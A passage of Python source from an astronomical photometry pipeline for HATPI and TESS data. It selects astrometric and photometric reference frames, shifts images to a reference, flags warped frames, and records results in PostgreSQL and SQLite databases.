rows], dtype=np.float)\n ngo = np.array([x[7] for x in rows], dtype=np.float)\n\n print('%sZ: total frames to process: %s' %\n (datetime.utcnow().isoformat(), len(fits)))\n\n #\n # now, find the best astrometric reference frame\n #\n\n # get the best S --> largest S at the top\n median_sval_ind = np.argsort(mfs)[::-1]\n\n # here, we want the values closest to zero to be at the top\n median_dval_ind = np.argsort(np.fabs(mfd))\n\n # want the smallest background\n median_background_ind = np.argsort(mbg)\n\n # and the most number of detections\n good_detections_ind = np.argsort(ngo)[::-1]\n\n # get the top 500 of each index\n median_sval_ind = median_sval_ind[:500]\n median_dval_ind = median_dval_ind[:500]\n median_background_ind = median_background_ind[:500]\n good_detections_ind = good_detections_ind[:500]\n\n # now intersect all of these arrays to find the best candidates for\n # the astrometric reference frame\n\n sd_ind = np.intersect1d(median_sval_ind,\n median_dval_ind,\n assume_unique=True)\n\n best_frame_ind = np.intersect1d(\n sd_ind,\n np.intersect1d(median_background_ind,\n good_detections_ind,\n assume_unique=True),\n assume_unique=True\n )\n\n sdndet_ind = np.intersect1d(sd_ind,\n good_detections_ind,\n assume_unique=True)\n\n # if all selectors produced a result, use that one\n if len(best_frame_ind) > 0:\n\n selectedreference = fits[best_frame_ind[0]]\n\n print('%sZ: selected best astrometric reference frame is %s' %\n (datetime.utcnow().isoformat(), selectedreference))\n\n framejpg = fits_to_full_jpeg(\n selectedreference,\n out_fname=os.path.join(\n os.path.dirname(selectedreference),\n ('JPEG-ASTROMREF-%s.jpg' %\n os.path.basename(re.sub(sv.FITS_TAIL,'',selectedreference)))\n )\n )\n\n arefinfo = {\n 'fits':selectedreference,\n 'jpg':framejpg,\n 'fistar':fistar[best_frame_ind[0]],\n 'fiphot':fiphot[best_frame_ind[0]],\n 'framekey':framekey[best_frame_ind[0]],\n 'sval':mfs[best_frame_ind[0]],\n 'dval':mfd[best_frame_ind[0]],\n 'bgv':mbg[best_frame_ind[0]],\n 'ndet':ngo[best_frame_ind[0]],\n 'comment':'astromref chosen using sval, dval, bgval, ndet'\n }\n\n # otherwise, fall back to frames with the best values of S, D, and a\n # large number of detections\n elif len(sdndet_ind) > 0:\n\n selectedreference = fits[sdndet_ind[0]]\n\n print('WRN! %sZ: selected best astrometric reference frame '\n '(using S, D, and ndet only) is %s' %\n (datetime.utcnow().isoformat(), selectedreference))\n\n\n framejpg = fits_to_full_jpeg(\n selectedreference,\n out_fname=os.path.join(\n os.path.dirname(selectedreference),\n ('JPEG-ASTROMREF-%s.jpg' %\n os.path.basename(re.sub(sv.FITS_TAIL,'',selectedreference)))\n )\n )\n\n arefinfo = {\n 'fits':selectedreference,\n 'jpg':framejpg,\n 'fistar':fistar[sdndet_ind[0]],\n 'fiphot':fiphot[sdndet_ind[0]],\n 'framekey':framekey[sdndet_ind[0]],\n 'sval':mfs[sdndet_ind[0]],\n 'dval':mfd[sdndet_ind[0]],\n 'bgv':mbg[sdndet_ind[0]],\n 'ndet':ngo[sdndet_ind[0]],\n 'comment':'astromref chosen using sval, dval, ndet'\n }\n\n # otherwise, fall back to the frames with best values of S and D\n elif len(sd_ind) > 0:\n\n selectedreference = fits[sd_ind[0]]\n\n print('WRN! %sZ: selected best astrometric reference frame '\n '(using S and D only) is %s' %\n (datetime.utcnow().isoformat(), selectedreference))\n\n framejpg = fits_to_full_jpeg(\n selectedreference,\n out_fname=os.path.join(\n os.path.dirname(selectedreference),\n ('JPEG-ASTROMREF-%s.jpg' %\n os.path.basename(re.sub(sv.FITS_TAIL,'',selectedreference)))\n )\n )\n\n arefinfo = {\n 'fits':selectedreference,\n 'jpg':framejpg,\n 'fistar':fistar[sd_ind[0]],\n 'fiphot':fiphot[sd_ind[0]],\n 'framekey':framekey[sd_ind[0]],\n 'sval':mfs[sd_ind[0]],\n 'dval':mfd[sd_ind[0]],\n 'bgv':mbg[sd_ind[0]],\n 'ndet':ngo[sd_ind[0]],\n 'comment':'astromref chosen using sval, dval'\n }\n\n # if that also fails, fall back to the best S value frame\n elif len(median_sval_ind) > 0:\n\n selectedreference = fits[median_sval_ind[0]]\n\n print('WRN! %sZ: selected best astrometric reference frame '\n '(using S only) is %s' %\n (datetime.utcnow().isoformat(), selectedreference))\n\n framejpg = fits_to_full_jpeg(\n selectedreference,\n out_fname=os.path.join(\n os.path.dirname(selectedreference),\n ('JPEG-ASTROMREF-%s.jpg' %\n os.path.basename(re.sub(sv.FITS_TAIL,'',selectedreference)))\n )\n )\n\n arefinfo = {\n 'fits':selectedreference,\n 'jpg':framejpg,\n 'fistar':fistar[median_sval_ind[0]],\n 'fiphot':fiphot[median_sval_ind[0]],\n 'framekey':framekey[median_sval_ind[0]],\n 'sval':mfs[median_sval_ind[0]],\n 'dval':mfd[median_sval_ind[0]],\n 'bgv':mbg[median_sval_ind[0]],\n 'ndet':ngo[median_sval_ind[0]],\n 'comment':'astromref chosen using sval'\n }\n\n # if everything fails, do nothing\n else:\n\n print('ERR! %sZ: could not select a '\n 'good astrometric reference frame! all tests failed!' %\n (datetime.utcnow().isoformat(), ))\n arefinfo = None\n\n # update the astromrefs table in the database if we found an\n # astromref frame, and copy it to the reference-frames directory\n # with the appropriate filename\n if arefinfo:\n\n # now that we have the astromref frame, copy it over to the\n # system-wide reference-images directory along with its JPEG\n # snapshot\n if observatory=='hatpi':\n areftargetfits = (\n 'proj{projectid}-{field}-'\n 'ccd{ccd}-astromref-{origfname}.fits').format(\n projectid=projectid,\n field=field,\n ccd=ccd,\n origfname=os.path.splitext(\n os.path.basename(arefinfo['fits'])\n )[0]\n )\n\n elif observatory=='tess':\n areftargetfits = (\n 'proj{projectid}-'\n 'camera{camera}-ccd{ccd}-'\n 'astromref-{origfname}.fits').format(\n projectid=projectid,\n camera=camera,\n ccd=ccd,\n origfname=os.path.splitext(\n os.path.basename(arefinfo['fits'])\n )[0]\n )\n\n areftargetjpeg = areftargetfits.replace('.fits','.jpg')\n areftargetfistar = areftargetfits.replace('.fits','.fistar')\n areftargetfiphot = areftargetfits.replace('.fits','.fiphot')\n\n # copy the frame, jpeg, fistar, and wcs to the reference-frames dir\n shutil.copy(arefinfo['fits'],os.path.join(refdir,\n areftargetfits))\n shutil.copy(arefinfo['jpg'],os.path.join(refdir,\n areftargetjpeg))\n shutil.copy(arefinfo['fistar'],\n os.path.join(refdir, areftargetfistar))\n shutil.copy(arefinfo['fiphot'],\n os.path.join(refdir, areftargetfiphot))\n shutil.copy(arefinfo['fits'].replace('.fits','.wcs'),\n os.path.join(refdir,\n areftargetfits.replace('.fits','.wcs'))\n )\n\n # now, update the astomrefs table in the database\n if overwrite and (\n observatory=='tess' or observatory=='hatpi'\n ):\n\n query = (\n \"insert into astromrefs (\"\n \"projectid, field, camera, ccd, isactive, \"\n \"unixtime, \"\n \"framepath, jpegpath, \"\n \"sval, dval, bgv, ndet, \"\n \"comment\"\n \") values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, \"\n \"%s, %s, \"\n \"%s, %s, %s, %s, \"\n \"%s\"\n \") on conflict on constraint astromrefs_pkey \"\n \"do update set \"\n \"unixtime = %s, \"\n \"framepath = %s, jpegpath = %s, \"\n \"sval = %s, dval = %s, bgv = %s, ndet = %s, \"\n \"comment = %s\"\n )\n params = (\n str(projectid), field, camera, ccd, int(makeactive),\n time.time(),\n os.path.join(refdir, areftargetfits),\n os.path.join(refdir, areftargetjpeg),\n arefinfo['sval'], arefinfo['dval'],\n arefinfo['bgv'],arefinfo['ndet'], arefinfo['comment'],\n time.time(),\n os.path.join(refdir, areftargetfits),\n os.path.join(refdir, areftargetjpeg),\n arefinfo['sval'], arefinfo['dval'],\n arefinfo['bgv'],arefinfo['ndet'], arefinfo['comment']\n )\n\n elif not overwrite and (\n observatory=='tess' or observatory=='hatpi'\n ):\n\n query = (\n \"insert into astromrefs (\"\n \"projectid, field, camera, ccd, isactive, \"\n \"unixtime, \"\n \"framepath, jpegpath, \"\n \"sval, dval, bgv, ndet, \"\n \"comment\"\n \") values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, \"\n \"%s, %s, \"\n \"%s, %s, %s, %s, \"\n \"%s\"\n \") \"\n \"on conflict on constraint astromrefs_pkey do nothing\"\n )\n params = (\n int(projectid), str(field), int(camera), int(ccd), int(makeactive),\n time.time(),\n os.path.join(refdir, areftargetfits),\n os.path.join(refdir, areftargetjpeg),\n float(arefinfo['sval']), float(arefinfo['dval']),\n float(arefinfo['bgv']), int(arefinfo['ndet']),\n str(arefinfo['comment'])\n )\n\n # execute the query to insert the astromref into the DB\n cursor.execute(query, params)\n database.commit()\n\n returnval = arefinfo\n\n # if we failed to find an astromref, do nothing\n else:\n\n returnval = None\n\n # if we didn't find any frames for this projectid-field-ccd combo,\n # complain and drop out\n else:\n\n print('ERR! %sZ: could not select a '\n 'good astrometric reference frame for %s!'\n ' no frames exist' %\n (datetime.utcnow().isoformat(), repr(fieldinfo)))\n print(params)\n print(cursor.query)\n returnval = None\n\n # catch the overwrite = False scenario\n except pg.IntegrityError as e:\n\n database.rollback()\n\n message = ('failed to insert astromref '\n 'into DB because it exists already '\n 'and overwrite = False')\n print('EXC! %sZ: %s\\n%s' % (datetime.utcnow().isoformat(), message,\n format_exc()) )\n returnval = None\n\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to get astromref for %s' % repr(fieldinfo)\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n returnval = None\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef generate_astromref(fitsfiles,\n makeactive=True,\n field=None,\n ccd=None,\n projectid=None,\n refdir=REFBASEDIR,\n refinfo=REFINFO,\n overrideref=None):\n\n \"\"\"This chooses an astrometry reference frame from the frames in fitfiles.\n\n writes the frame to refdir.\n\n ref frames have the following filename pattern:\n\n proj{projectid}-ccd{ccd}-{field}-astromref-{origfname}.fits\n\n if field, ccd, or projectid are None, these values are taken from the FITS\n file headers.\n\n updates the refinfo database.\n\n if overrideref is passed (a string path to a manually chosen reference\n frame), overrides the automated frame selection called in\n ism.select_astromref_frame.\n \"\"\"\n\n goodfits = [x for x in fitsfiles if os.path.exists(x)]\n\n if not goodfits:\n print('ERR! %sZ: no good FITS files found in input list' %\n (datetime.utcnow().isoformat(),))\n return\n\n # check if database exists. if not, make it.\n if not os.path.exists(refinfo):\n\n db = sqlite3.connect(refinfo)\n cur = db.cursor()\n\n query = open(sv.TREXBASE + 'imagesub-refinfo.sql', 'r').read()\n\n cur.executescript(query)\n\n db.commit()\n cur.close()\n db.close()\n\n print('%sZ: initialized %s database' %\n (datetime.utcnow().isoformat(), refinfo))\n\n # find the astromref\n astromref = ism.select_astromref_frame(\n fitsfiles,\n '1-*.fits',\n overrideref=overrideref\n )\n\n # if an astromref was successfully found, then add its info to the DB\n if astromref:\n\n if field and ccd and projectid:\n\n frameinfo = {'field':field,\n 'ccd':ccd,\n 'projectid':projectid}\n\n else:\n\n # get the frame info\n frameelems = get_header_keyword_list(astromref['astromref'],\n ['object',\n 'projid'])\n\n felems = FRAMEREGEX.findall(\n os.path.basename(astromref['astromref'])\n )\n\n if felems and felems[0]:\n\n ccd = felems[0][2]\n frameinfo = {'field':frameelems['object'],\n 'ccd':ccd,\n 'projectid':frameelems['projid']}\n\n else:\n\n print('ERR! %sZ: could not figure out CCD for astromref: %s' %\n (datetime.utcnow().isoformat(), astromref['astromref']))\n return\n\n # now that we have the astromref frame, copy it over to the\n # system-wide reference-images directory along with its JPEG\n # snapshot\n areftargetfits = ('proj{projectid}-{field}-'\n 'ccd{ccd}-astromref-{origfname}.fits').format(\n projectid=frameinfo['projectid'],\n field=frameinfo['field'],\n ccd=frameinfo['ccd'],\n origfname=os.path.splitext(\n os.path.basename(astromref['astromref'])\n )[0]\n )\n areftargetjpeg = areftargetfits.replace('.fits','.jpg')\n areftargetfistar = areftargetfits.replace('.fits','.fistar')\n\n # copy the frame, jpeg, and fistar to the reference-frames dir\n shutil.copy(astromref['astromref'],os.path.join(REFBASEDIR,\n areftargetfits))\n shutil.copy(astromref['framejpg'],os.path.join(REFBASEDIR,\n areftargetjpeg))\n shutil.copy(astromref['astromref'].replace('.fits','.fistar'),\n os.path.join(REFBASEDIR, areftargetfistar))\n\n # now, put together the information and write to the refinfo sqlite\n\n query = (\"insert into astromrefs \"\n \"(field, projectid, ccd, isactive, unixtime, \"\n \"framepath, jpegpath, sval, dval, bgv, ndet, \"\n \"comment) values \"\n \"(?, ?, ?, ?, ?, \"\n \"?, ?, ?, ?, ?, ?, \"\n \"?)\")\n params = (frameinfo['field'],\n frameinfo['projectid'],\n frameinfo['ccd'],\n 1 if makeactive else 0,\n time.time(),\n\n os.path.join(REFBASEDIR,areftargetfits),\n os.path.join(REFBASEDIR,areftargetjpeg),\n astromref['sval'],\n astromref['dval'],\n astromref['bgv'],\n astromref['ndet'],\n\n (astromref['comment'] +\n '; original: %s' % astromref['astromref']))\n\n db = sqlite3.connect(\n refinfo,\n detect_types=sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES\n )\n cur = db.cursor()\n\n try:\n\n astromref.update(frameinfo)\n cur.execute(query, params)\n db.commit()\n\n print('%sZ: using astromref %s for '\n 'field %s, ccd %s, project id %s, database updated.' %\n (datetime.utcnow().isoformat(),\n astromref['astromref'],\n astromref['field'],\n astromref['ccd'],\n astromref['projectid']))\n\n returnval = astromref\n\n except Exception as e:\n\n print('ERR! %sZ: could not update refinfo DB! error was: %s' %\n (datetime.utcnow().isoformat(), e))\n\n returnval = None\n db.rollback()\n\n db.close()\n\n # otherwise, do nothing\n else:\n\n print('ERR! %sZ: could not find an astromref frame' %\n (datetime.utcnow().isoformat(),))\n returnval = None\n\n\n return returnval\n\n\n\ndef dbget_astromref(projectid, field, ccd, database=None, camera=0):\n \"\"\"\n This finds the reference frame using the PG database.\n \"\"\"\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # start work here\n try:\n\n query = (\n \"select projectid, field, camera, ccd, unixtime, \"\n \"framepath, jpegpath, \"\n \"sval, dval, bgv, ndet, comment \"\n \"from astromrefs where \"\n \"projectid = %s and field = %s and camera = %s and ccd = %s and isactive = 1\"\n )\n params = (str(projectid), field, camera, ccd)\n\n cursor.execute(query, params)\n row = cursor.fetchone()\n\n if row and len(row) > 0:\n\n astromref = {\n x:y for (x,y) in zip(('projectid','field','camera','ccd','unixtime',\n 'framepath',\n 'jpegpath','sval','dval',\n 'bgv','ndet','comment'), row)\n }\n\n returnval = astromref\n\n else:\n returnval = None\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to get astromref for %s, %s, %s from DB' % (projectid,\n field,\n ccd)\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = None\n raise\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef get_astromref(projectid, field, ccd, refinfo=REFINFO):\n \"\"\"\n This finds the reference frame for the field, projectid, and ccd\n combination using the TM-refinfo.sqlite database.\n \"\"\"\n\n db = sqlite3.connect(\n refinfo,\n detect_types=sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES\n )\n cur = db.cursor()\n\n query = ('select field, projectid, ccd, unixtime, '\n 'framepath, jpegpath, sval, dval, bgv, ndet, comment '\n 'from astromrefs where '\n 'projectid = ? and field = ? and ccd = ? and '\n 'isactive = 1')\n params = (projectid, field, ccd)\n\n try:\n\n cur.execute(query, params)\n rows = cur.fetchone()\n\n astromref = {x:y for (x,y) in zip(('field','projectid','ccd',\n 'unixtime','framepath','jpegpath',\n 'sval','dval','bgv',\n 'ndet','comment'),rows)}\n\n returnval = astromref\n\n except Exception as e:\n\n print('ERR! %sZ: could not get astromref info '\n 'from DB! error was: %s' %\n (datetime.utcnow().isoformat(), e))\n returnval = None\n\n db.close()\n\n return returnval\n\n\n\ndef frames_astromref_worker(task):\n \"\"\"\n This is the parallel worker for frames_to_astromref.\n\n task[0] = fits file\n task[1] = outdir\n task[2] = refinfo\n task[3] = warpcheck\n task[4] = warpcheck kwargs {'threshold', 'margins'}\n task[5] = observatory ('tess', or 'hatpi')\n task[6] = fieldinfo\n\n fieldinfo is a dict like\n {'ccd': 1, 'camera': 1, 'field':\n 'ete6_field0', 'projectid': 42},\n for TESS. For HATPI, it can be None (since REGEXes were hard-coded to\n deal with HATPI naming scheme). If you were to pass it, it would look\n like:\n {'ccd': 8, 'camera': 42, 'field': 'G1830-2230_577', 'projectid': 12}\n \"\"\"\n\n try:\n\n (frame, outdir, refinfo,\n warpcheck, warpcheckkwargs, observatory, fieldinfo ) = task\n\n # figure out this frame's field, ccd, and projectid\n if observatory=='hatpi':\n if fieldinfo is None:\n frameelems = get_header_keyword_list(frame, ['object', 'projid'])\n felems = FRAMEREGEX.findall(os.path.basename(frame))\n fieldinfo = {'field': frameelems['object'],\n 'ccd': felems[0][2],\n 'projectid': frameelems['projid'],\n 'camera': 0}\n elif observatory=='tess':\n pass\n else:\n raise NotImplementedError\n\n framefistar = frame.replace('.fits','.fistar')\n\n if os.path.exists(framefistar):\n # find this frame's associated active astromref\n framearef = dbget_astromref(fieldinfo['projectid'],\n fieldinfo['field'],\n fieldinfo['ccd'],\n camera=fieldinfo['camera'])\n areffistar = framearef['framepath'].replace('.fits','.fistar')\n print(areffistar)\n\n # calculate the shift and write the itrans back to the frame's\n # directory\n shifted_fistar, shifted_itrans = ism.astromref_shift_worker(\n (framefistar, areffistar, outdir)\n )\n\n # if the shift calculation is successful, shift the image itself\n if shifted_itrans and os.path.exists(shifted_itrans):\n\n frame_to_shift, shifted_frame = ism.frame_to_astromref_worker(\n (frame, None, None)\n )\n\n if shifted_frame and os.path.exists(shifted_frame):\n\n # check if the frame has warped too much after the shift,\n # these frames look like they're folding into/out of the\n # z-direction. we need to throw these away.\n if warpcheck:\n\n notwarped, warpinfo = check_frame_warping(\n shifted_frame,\n **warpcheckkwargs\n )\n\n # if image is OK, return it\n if notwarped:\n\n print('%sZ: SHIFT OK %s -> %s' %\n (datetime.utcnow().isoformat(),\n frame, shifted_frame))\n\n return frame, shifted_frame\n\n # otherwise, move it to the badframes subdir and mark it\n # as warped\n else:\n\n badframesdir = os.path.join(os.path.dirname(frame),\n 'badframes')\n if not os.path.exists(badframesdir):\n os.mkdir(badframesdir)\n\n # find all the components of this frame and move\n # them to the badframes subdir\n badframeglob = glob.glob(\n os.path.join(\n os.path.dirname(shifted_frame),\n '*%s*.*' % (\n os.path.splitext(\n os.path.basename(frame)\n )[0]\n )\n )\n )\n\n for x in badframeglob:\n shutil.move(x, badframesdir)\n\n # update the database with the new locations of the\n # fits, fistar, fiphot, and wcs, and set frameisok\n # to false\n\n # old paths\n framefiphot = frame.replace('.fits','.fiphot')\n framewcs = frame.replace('.fits','.wcs')\n newfiphot = os.path.abspath(\n os.path.join(badframesdir,\n os.path.basename(framefiphot))\n )\n newwcs = os.path.abspath(\n os.path.join(badframesdir,\n os.path.basename(framewcs))\n )\n newfistar = os.path.abspath(\n os.path.join(badframesdir,\n os.path.basename(framefistar))\n )\n newfits = os.path.abspath(\n os.path.join(badframesdir,\n os.path.basename(frame))\n )\n\n # update the database\n fistarup = dbupdate_calibratedframe(\n os.path.abspath(frame), 'fistar', newfistar\n )\n fiphotup = dbupdate_calibratedframe(\n os.path.abspath(frame), 'fiphot', newfiphot\n )\n wcsup = dbupdate_calibratedframe(\n os.path.abspath(frame), 'wcs', newwcs\n )\n statup = dbupdate_calibratedframe(\n os.path.abspath(frame), 'frameisok', False\n )\n # update the fits path last, since it's the selector\n # for everything else\n fitsup = dbupdate_calibratedframe(\n os.path.abspath(frame), 'fits', newfits\n )\n\n print('WRN! %sZ: SHIFT HAS WARPED '\n 'IMAGE, moved %s and '\n 'metadata to %s, updated DB' %\n (datetime.utcnow().isoformat(),\n frame, badframesdir))\n\n return frame, None\n\n # if we're not checking for warps, just check if the image\n # was shifted fine\n else:\n\n print('%sZ: SHIFT OK %s -> %s' %\n (datetime.utcnow().isoformat(),\n frame, shifted_frame))\n\n return frame, shifted_frame\n\n\n else:\n\n print('ERR! %sZ: SHIFT OPERATION FAILED for %s' %\n (datetime.utcnow().isoformat(), frame))\n return frame, None\n\n else:\n\n print('ERR! %sZ: SHIFT CALCULATION FAILED for %s' %\n (datetime.utcnow().isoformat(), frame))\n return frame, None\n\n else:\n print('ERR! %sZ: could not find fistar for frame: %s' %\n (datetime.utcnow().isoformat(), frame))\n return frame, None\n\n except Exception as e:\n\n print('ERR! %sZ: could not shift frame %s to astromref, error was: %s' %\n (datetime.utcnow().isoformat(), frame, e))\n return frame, None\n\n\n\ndef framelist_make_xtrnsfits(fitsfiles,\n fitsdir=sv.REDPATH,\n fitsglob=sv.LOCAL_GLOBPATTERN,\n outdir=None,\n refinfo=REFINFO,\n overwrite=False,\n warpcheck=False,\n warpthreshold=15000.0,\n warpmargins=100,\n nworkers=16,\n observatory='hatpi',\n maxworkertasks=1000,\n fieldinfo=None):\n \"\"\"\n This calculates the shifts between frames in fitsfiles and the appropriate\n astromref for the projectid, field and CCD, then shifts each frame to the\n astromref's coordinate system, generating -xtrns.fits files.\n\n Per the docstring of imageutils.check_frame_warping, \"warpcheck\" by default\n is set OFF, because it depends on a detailed (manual) empirical calibration\n step.\n \"\"\"\n\n # check if astrometric translation was already done.\n existing = glob.glob(\n os.path.join(fitsdir, fitsglob.replace('.fits', '-xtrns.fits'))\n )\n\n requested = list(map(os.path.basename, fitsfiles))\n alreadyexists = list(map(os.path.basename, existing))\n\n if len(existing) > 0 and not overwrite:\n\n # substitute out the hash string\n alreadyexists = [ae.replace('-xtrns.fits','') for ae in alreadyexists]\n requested = [r.replace('.fits','') for r in requested]\n\n setdiff = np.setdiff1d(requested, alreadyexists)\n\n if len(setdiff) == 0:\n print('WRN! %sZ: already astrom-shifted all requested frames.' %\n (datetime.utcnow().isoformat(),))\n return\n\n else:\n fitsfiles = [os.path.join(fitsdir, sd+'.fits') for sd in setdiff]\n\n\n print('%sZ: %s files to astrometrically shift' %\n (datetime.utcnow().isoformat(), len(fitsfiles)))\n\n tasks = [(x, outdir, refinfo, warpcheck,\n {'threshold':warpthreshold, 'margins':warpmargins},\n observatory, fieldinfo)\n for x in fitsfiles if os.path.exists(x)]\n\n # fire up the pool of workers\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n results = pool.map(frames_astromref_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n print('%sZ: done with astrometric shifting' %\n (datetime.utcnow().isoformat()))\n\n xtrns = glob.glob(fitsdir+ fitsglob.replace('.fits','-xtrns.fits'))\n wcsfiles = glob.glob(fitsdir+ fitsglob.replace('.fits','.wcs'))\n\n if len(xtrns) != len(wcsfiles):\n if len(wcsfiles) - len(xtrns) < 10:\n # some wonky wcs's\n shiftok = np.array([os.path.exists(f.replace('.wcs','.fits'))\n for f in wcsfiles])\n for w in np.array(wcsfiles)[~shiftok]:\n dst = os.path.join(os.path.dirname(w), 'badframes',\n os.path.basename(w))\n shutil.move(w,dst)\n print('BAD SHIFT moving {} -> {}'.format(w, dst))\n\n else:\n raise AssertionError(\n 'something wrong in astrometric shift.'+\n '\\nN_WCS: {:d}'.format(len(wcsfiles))+\n '\\nN_xtrns: {:d}'.format(len(xtrns))\n )\n\n return {x:y for (x,y) in results}\n\n\n\n##################################\n## PHOTOMETRIC REFERENCE FRAMES ##\n##################################\n\ndef generate_photref_candidates_from_xtrns(fitsfiles,\n minframes=50,\n observatory='hatpi',\n maxhourangle=3.0,\n maxmoonphase=25.0,\n maxmoonelev=0.0,\n maxzenithdist=30.0,\n maxbackgroundstdevpctile=100.,\n maxbackgroundmedianpctile=10.,\n minngoodobjectpctile=90.,\n forcecollectinfo=False,\n nworkers=8,\n maxworkertasks=1000):\n \"\"\"\n This uses ism.select_photref_frames run on fitsfiles to get photref\n candidates.\n\n fitsfiles must be a list of frames, which have been already transformed to\n the astromref, and are all from a single projectid, ccd, field combination\n for this operation to make sense.\n\n Args:\n minframes: minimum number of candidate frames needed to construct\n photometric reference\n\n observatory: 'hatpi' or 'tess'\n\n maxhourangle: ignored if TESS\n\n maxmoonphase: ignored if TESS\n\n maxmoonelev: ignored if TESS\n\n maxzenithdist: ignored if TESS\n\n maxbackgroundstdevpctile: percentile (given in %) from array of\n background standard deviations from each frame. I don't understand why\n this would be a good selector. Set as `100.` to not do anything for\n this. ???\n\n maxbackgroundmedianpctile: percentile (given in %) from array of\n background medians from each frame. For example, `10.0` would give the\n top 10% of frames with small background medians (good for few clouds,\n or if moon/earth in TESS FoV).\n\n minngoodobjectpctile: if ndetpercentile=90, will select frames from the\n top 90% of \"ngoodobjects\". If there are clouds, there won't be many\n well-detected objects.\n\n forcecollectinfo:\n\n Returns:\n\n photrefinfo, a dictionary with information about chosen photometric\n reference frames.\n \"\"\"\n\n if not os.path.exists(FRAMEINFOCACHEDIR):\n os.mkdir(FRAMEINFOCACHEDIR)\n\n # first, get all the info from these fits files.\n frameinfo = fitslist_frameinfo(fitsfiles,\n forcecollectinfo=False,\n nworkers=nworkers,\n maxworkertasks=maxworkertasks)\n\n # this is the cachekey used to store the photref selection info\n cachekey = '%s-%i-%.1f-%.1f-%.1f-%.1f-%.1f-%.1f-%.1f' % (repr(fitsfiles),\n minframes,\n maxhourangle,\n maxmoonphase,\n maxmoonelev,\n maxzenithdist,\n maxbackgroundstdevpctile,\n maxbackgroundmedianpctile,\n minngoodobjectpctile)\n cachekey = md5(cachekey.encode('utf-8')).hexdigest()\n cachedir = os.path.join(FRAMEINFOCACHEDIR,'TM-photref-%s' % cachekey)\n cacheinfofile = os.path.join(cachedir, 'selection-info.pkl.gz')\n\n # get the data from the cache if it exists and we're allowed to use it\n if ((not forcecollectinfo) and\n os.path.exists(cachedir) and\n os.path.exists(cacheinfofile)):\n\n with gzip.open(cacheinfofile) as infd:\n photrefinfo = pickle.load(infd)\n\n print('%sZ: candidate photref JPEGs in: %s, '\n 'cached photrefinfo from: %s' %\n (datetime.utcnow().isoformat(), cachedir, cacheinfofile))\n\n return photrefinfo\n\n # apply our conditions to these fits files to generate a list of\n # photref candidates\n\n if observatory=='hatpi':\n # filter on hour angle\n haind = np.fabs(frameinfo['hourangle']) < maxhourangle\n print('%sZ: %s frames with hour angle < %s' %\n (datetime.utcnow().isoformat(), len(np.where(haind)[0]),\n maxhourangle))\n\n # get dark nights\n moonind = ((np.fabs(frameinfo['moonphase']) < maxmoonphase) |\n (frameinfo['moonelev'] < maxmoonelev))\n print('%sZ: %s frames with moon phase < %s or moon elev < %s' %\n (datetime.utcnow().isoformat(), len(np.where(moonind)[0]),\n maxmoonphase, maxmoonelev))\n\n # get low zenith distance nights\n zenithind = frameinfo['zenithdist'] < maxzenithdist\n print('%sZ: %s frames with zenith distance < %s' %\n (datetime.utcnow().isoformat(), len(np.where(zenithind)[0]),\n maxzenithdist))\n\n # get nights with background stdev < max_bgv_stdev (to possibly remove bad\n # frames)\n maxbackgroundstdev = np.nanpercentile(frameinfo['stdsrcbgv'],\n maxbackgroundstdevpctile)\n backgroundstdevind = frameinfo['stdsrcbgv'] < maxbackgroundstdev\n print('%sZ: %s frames with background stdev < %s' %\n (datetime.utcnow().isoformat(), len(np.where(backgroundstdevind)[0]),\n maxbackgroundstdev))\n\n # get nights with background median < maxbackgroundmedian (to possibly\n # remove cloudy frames, or frames with lots of scattered light from the\n # moon or other very bright objects)\n maxbackgroundmedian = np.nanpercentile(frameinfo['medsrcbgv'],\n maxbackgroundmedianpctile)\n backgroundmedind = frameinfo['medsrcbgv'] < maxbackgroundmedian\n print('%sZ: %s frames with background median < %s' %\n (datetime.utcnow().isoformat(), len(np.where(backgroundmedind)[0]),\n maxbackgroundmedian))\n\n # get nights with ngoodobjects > minngoodobjects (to possibly\n # remove cloudy nights). minus 1 because for space-based data, you can\n # sometimes have frame stacks with identical numbers of \"good objects\"\n # parsed.\n minngoodobjects = (\n np.nanpercentile(frameinfo['ngoodobjects'], minngoodobjectpctile)\n - 1\n )\n ngoodobjectind = frameinfo['ngoodobjects'] > minngoodobjects\n\n print('%sZ: %s frames with ngoodobjects > %s' %\n (datetime.utcnow().isoformat(),\n len(np.where(ngoodobjectind)[0]),\n minngoodobjects))\n\n # this is the final operating set of frames that will be sorted for the\n # following tests\n if observatory=='hatpi':\n selectind = haind & moonind & zenithind & backgroundstdevind & ngoodobjectind\n elif observatory=='tess':\n selectind = backgroundstdevind & ngoodobjectind & backgroundmedind\n else:\n raise NotImplementedError\n\n selected_frames = frameinfo['frames'][selectind]\n selected_ngoodobj = frameinfo['ngoodobjects'][selectind]\n\n selected_medmagerr = frameinfo['medmagerr'][selectind]\n selected_magerrmad = frameinfo['magerrmad'][selectind]\n\n selected_medsrcbgv = frameinfo['medsrcbgv'][selectind]\n selected_stdsrcbgv = frameinfo['stdsrcbgv'][selectind]\n\n selected_medsvalue = frameinfo['medsval'][selectind]\n selected_meddvalue = frameinfo['meddval'][selectind]\n\n print('\\n%sZ: selected %s frames with acceptable '\n 'HA, Z, moon phase, background, elevation, and ngoodobjects '\n 'for further filtering...\\n' %\n (datetime.utcnow().isoformat(), len(selected_frames)))\n\n # we select in the following order\n # 1. D closest to 0\n # 2. largest S\n\n # then we filter out any images that have background > maxbackgroundmedian\n # and backgroundstdev > maxbackgroundstdev\n\n # first sort selector\n stage1_sort_ind = (np.argsort(selected_medsvalue))[::-1]\n\n stage1_frames = 